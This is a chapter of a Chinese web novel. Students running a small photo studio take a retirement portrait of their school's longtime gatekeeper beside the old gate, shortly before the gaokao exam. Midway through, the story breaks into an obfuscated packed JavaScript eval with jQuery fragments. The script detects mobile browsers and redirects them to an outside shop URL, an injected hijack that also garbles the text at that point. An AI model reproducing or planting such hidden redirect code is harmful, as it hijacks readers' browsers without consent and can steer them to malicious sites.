红叶缩短营业时间的告示贴出去以后，第一个上门的急客不是来拍证件照的。
是一位老人。
他穿着洗得发白的蓝布外套，脚上的黑布鞋刚刷过，怀里抱着一顶旧工作帽。进门后，他先把告示从头看到尾，才问：“外景也不接了？”
梁潮生正在背单词，听见这句抬起头。
“高考前原则上不接。您要去哪儿拍？”
“学校门口。”
老人姓秦，叫秦有福，是学校门卫。
梁潮生和周念安都认识他。
秦师傅在校门口守了二十多年。谁迟到，谁翻墙，谁把自行车停到教师车棚，他都记得清清楚楚。学生背后叫他“秦门神”，当面却没人敢少喊一声秦师傅。
周念安问：“学校要拍宣传照？”
“不是学校拍，是我自己拍。”
秦师傅把工作帽放到柜台上，又从内袋里掏出一个牛皮纸信封。里面装着三张照片，全是学校历届毕业合影。
一张边缘已经卷了，另一张上面留着水迹。照片里的学生一届换一届，老师也换了不少，背景却始终是同一扇校门。
秦师傅指着最早那张。
“这届拍的时候，我就在旁边替他们扶凳子。”
又指向第二张。
“这一届风大，班牌倒了两回。”
最后一张是去年拍的。
“这个男生拍完才发现裤子拉链没拉，追着照相馆的人跑出去半条街。”
梁潮生低头找了半天：“您在哪儿？”
“不在。”
“二十多年，一张都没拍进去？”
“我又不是学生，也不是老师。”秦师傅把照片重新收好，“每次都在镜头外面忙。”
周念安看了看他带来的工作帽。
“这次想站在哪里？”
“校门旁边。旧牌子还没拆的时候。”
学校已经决定在高考结束后翻修大门，将那块写了二十多年的木牌换成水泥字。秦师傅也将在高考后正式退休，去外地女儿家住。
“不能等考试以后？”梁潮生问。
秦师傅瞪他：“牌子都拆了，我跟新门拍有什么意思？”
“那为什么现在才来？”
“以前没想过。”老人说得理直气壮，“昨天看见你们拍的毕业照，忽然觉得我也该有一张。”
他说完，从口袋里拿出折得整整齐齐的五元钱。
“我不白拍。按外景收。”
周念安没有马上接钱。
高考还剩十九天。红叶的营业时间已经缩短，他们每天放学后只开三个小时，晚上还要复习。到学校拍外景，搬相机、选位置、测光，至少要占去半天。
梁潮生问：“什么时候拆门牌？”
“最后一科考完，第二天就动工。”
“那高考以后没时间。”
“所以我才说考试以前。”
秦师傅将钱往柜台前又推了一点。
“拍不拍？不拍我去别家问。”
附近能带着设备出外景的照相馆不多。即使找到，也未必愿意为一张单人照片专门跑一趟。
梁潮生看向周念安。
周念安问：“早上六点，您起得来吗？”
秦师傅像是受了侮辱：“我五点半就开校门。”
“那就明天六点十分。”她说，“拍摄控制在四十分钟以内。我们七点前回来，不耽误上课。”
梁潮生挑眉：“你答应得挺快。”
“早上的光比中午合适，也不会影响复习。”
“那我搬设备。”
“你还要提前检查相机。”
“知道。”
秦师傅这才把五元钱交出来。
周念安找零，又开了一张收据。
老人拿着收据看了半天：“自己学校的人，也不能便宜点？”
梁潮生说：“刚才是谁说不白拍？”
“我问问不行？”
“可以问，不能改。”
秦师傅把零钱仔细放回口袋，哼了一声。
“你们现在比韩师傅还会做生意。”
第二天清晨，梁潮生到学校门口时，天刚亮透。
秦师傅已经站在那里了。
他换上了平时值班的蓝制服，扣子一颗不少，胸口还别着那枚用了多年的红色值勤袖章。头发特意往后梳过，显得整个人比平时精神，也比平时僵硬。
周念安骑车随后赶到，车把上挂着三杯豆浆。
梁潮生接过一杯：“还有我的？”
“秦师傅一杯，韩叔一杯。”
“韩叔又没来。”
“所以给你。”
“顺带？”
“嗯。”
梁潮生拿着豆浆笑了一下。
“顺带也行。”
韩师傅今天没有跟来，只把相机和测光表交给他们。临出门前反复叮嘱，早上的光变化快，别只顾着说话忘了重新测。
梁潮生先在校门正面选了位置。
老木门有些掉漆，右侧门柱上贴着褪色的校纪宣传纸。那块木制校牌挂在左边，上面的白漆已经斑驳，“中学”两个字却仍旧清楚。
秦师傅站到校牌旁边，双手垂在裤缝两侧。
“这样行吗？”
“不行。”梁潮生说。
“哪里不行？”
“像刚被教导主任叫来罚站。”
“拍照不就该站直？”
周念安绕着他看了一圈。
“帽子戴上。”
秦师傅把工作帽扣到头上，肩膀更僵了。
“钥匙呢？”她问。
“值班室。”
“拿过来。”
秦师傅有些不情愿：“一大串钥匙，拍进去乱。”
“大家记得的就是您拿钥匙的样子。”
老人没说话，转身去取。
那串钥匙确实很大。
校门、值班室、仓库、自行车棚、实验楼侧门，各种钥匙穿在粗铁环上，走起路来叮当作响。秦师傅把它握在手里，站回原位，整个人总算不再像临时借来的衣架。
梁潮生调整相机。
“看镜头。”
秦师傅盯着镜头，眉头压得很低。
“别瞪我。”
“我没瞪。”
“您平时看学生迟到就是这个表情。”
“那我该什么表情？”
“自然一点。”
“自然怎么弄？”
梁潮生一时答不上来。
毕业照时，他还能让一群人说笑。可秦师傅平时一开口就是“站住”“车放那边”“校牌下不许贴广告”，实在很难想象他对着相机会有什么自然表情。
第一张拍完，老人比木牌还端正。
第二张稍微松了一点，却仍旧像在拍工作证。
周念安看了眼校门外。
早到的学生已经陆续来了。有人推着自行车经过，见秦师傅站在镜头前，全都放慢脚步。
“秦师傅拍结婚照啊？”一个男生喊。
秦师傅脸一沉：“不会说话就闭嘴！自行车铃坏了，下午推到修车摊去！”
男生笑着骑远。
又有女生问：“秦师傅，照片洗出来能不能挂值班室？”
“跟你有什么关系？早读别迟到！”
声音洪亮，动作利落。
梁潮生低声说：“这才像他。”
周念安点头。
可等秦师傅再次面向镜头，刚才的神情又没了。
梁潮生正准备换角度，校门外突然传来一阵急促的车铃声。
一名高一学生骑得太快，车筐里的书包差点甩出来。
秦师傅本能地往前迈了一步。
“慢点！进校门还骑这么快，摔了谁替你考试？”
他抬起手，钥匙串随动作晃起来，嘴里还在训人，眉眼却比刚才松得多。
梁潮生立即按下快门。
咔嚓。
秦师傅回头：“我还没站好。”
“已经拍了。”
“那张不算，我都没看镜头。”
“您平时也不看镜头。”
“我今天花钱来拍，当然得看。”
“再拍一张正式的。”周念安说，“刚才那张也留着，洗出来您自己选。”
最后，他们一共拍了四张。
一张戴帽子，一张不戴；一张正对镜头，一张侧身看向校门里。
收器材时，学生越来越多。
每个进门的人都要看秦师傅两眼。有人问他为什么拍照，有人笑他今天鞋擦得亮，还有个女生从车筐里拿出一朵纸折的红花，非要别到他袖章旁边。
秦师傅嘴上嫌她胡闹，最后也没摘。
梁潮生又补拍了一张。
老人站在老校牌旁，胸前多了一朵歪歪扭扭的纸花。手里仍旧握着那串钥匙，身后是不断走进校门的学生。
这张没有人看镜头。
却比前几张都热闹。
中午放学，梁潮生先回红叶冲片。
周念安原本要回家吃饭，也跟了过来。
“你下午还有英语课。”他说。
“选完底片就走。”
“怕我挑错？”
“怕你只挑最规矩的。”
第一批样片出来后，两个人把六张并排放在桌上。
正式那张光线最好，衣领整齐，校牌也完整。
秦师傅训学生那张抓得很准，可他的身体侧了一半，钥匙在空中略微发虚。
最后那张有纸花的，构图不如第一张端正，后面还有一辆自行车从画面边缘经过。可老人站在那里，像他平时守门的每一个清晨。
韩师傅看了一圈。
“让客人选。”
秦师傅下午来时，先拿起正式那张。
“这个像照相。”
又拿起最后那张。
看了很久。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789965|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
照片里的自己没有笑，嘴角却不是绷着的。胸前那朵纸花不伦不类，校门后的学生有的回头，有的推车，有的跑着往里赶。
“这张乱。”他说。
梁潮生问：“那洗正式的？”
秦师傅没回答，又把最后那张拿近一点。
“后面这个是谁？”
周念安看了一眼：“高二三班的赵新民。”
“又骑车进校门。”秦师傅哼了一声，“我说过他多少次。”
“那裁掉？”
“别裁。”老人立刻说，“他就这样。”
他最终选了那张不够规矩的。
放大三张。
一张挂在值班室，一张带去女儿家，另一张交给学校。
周念安问：“学校那张放哪里？”
“档案室吧。”秦师傅说，“每届学生都有毕业照，我也给自己留一张。”
梁潮生笑：“您这是退休照？”
“什么退休照？”
“在这所学校干了二十多年，也算毕业。”
秦师傅想反驳，张了张嘴，最后却低头看向照片。
“算吧。”
他坚持要在高考前取走，不只是因为校牌快拆。
高考三天，是他最后一次正式值班。
考生进门要查准考证，外来车辆要拦，迟到的要赶紧领到考场。等最后一科结束，他锁完门，钥匙便要交给新来的门卫。
“我想在交钥匙以前，把照片挂进去。”他说，“让新来的人知道，这地方以前是谁管的。”
照片两天后交付。
秦师傅没有要求加急免费，按约付了余款。他抱着三张放大的照片回学校，亲手将其中一张挂在值班室的墙上。
位置就在时钟下面。
旁边还贴着几张泛黄的值班表和一张自行车停放规定。
梁潮生看了看：“挂歪了。”
秦师傅往左挪了一点。
“现在呢？”
“又偏了。”
“你来。”
梁潮生站上凳子，重新量了位置。
周念安在门外看他调整照片。秦师傅站在下面扶凳子，和多年前替学生们拍毕业照时一样。
只不过这一次，照片里终于有他。
临走时，秦师傅叫住两人。
“你们准考证拿到了吧？”
“拿到了。”
“考试头天晚上放书包里，早上再检查一遍。别光顾着背书，到了门口翻半天。”
梁潮生说：“您每年都见到忘带的？”
“有。”
“最后怎么办？”
“家长骑车回去拿，我在门口替他急。”秦师傅瞪了他一眼，“今年你别让我急。”
周念安点头：“不会。”
秦师傅又看向梁潮生。
他叹了口气：“知道。姓名、准考证、答题卡，先检查。”
“少耍嘴。”
两人走出校门时，身后传来钥匙落锁的声音。
那块旧校牌还挂着。
秦师傅也还守在门里。
回到红叶，韩师傅正在整理行李。
柜台上放着一张火车票。
七月十日，早上六点四十分。
正是高考结束后的第二天。
梁潮生拿起车票，确认了一遍日期。
“这么早？”
“省城远。”韩师傅说，“不早点走，晚上赶不到。”
“不能晚两天？”
“晚两天也是走。”
韩师傅把一叠相纸收进柜子，又将暗房钥匙放到桌上。
“考试以前，我把最后该教的教完。考完第二天，你们来送我也行，不来也行。”
梁潮生看着那张票，没有接话。
十九天以后，他们会走进考场。
二十二天以后，学校门上的旧牌子会被拆下，秦师傅交出钥匙，韩师傅也会坐上离开旧巷的火车。
所有人都在为一扇门关上以前，安排好最后要做的事。
周念安拿过墙上的日历，在七月十日那格画了一个圈。
梁潮生低头看她。
“这也要记？”
“怕你忘。”
“我记性没那么差。”
“橡皮记了两年，车票未必。”
韩师傅在旁边笑了一声。
梁潮生把火车票放回桌上，拿起数学错题本。
“今天做几道？”
周念安说：“五道。”
“离考试十九天，还五道？”
“那七道。”
“我只是问问。”
红叶重新安静下来。
暗房里晾着秦师傅与旧校门的照片，柜台上压着韩师傅的火车票。窗外学生放学经过，一辆接一辆的自行车从巷口驶向不同方向。
有些门还没换，有些人也还没走。
所以剩下的时间，更不能含糊地过。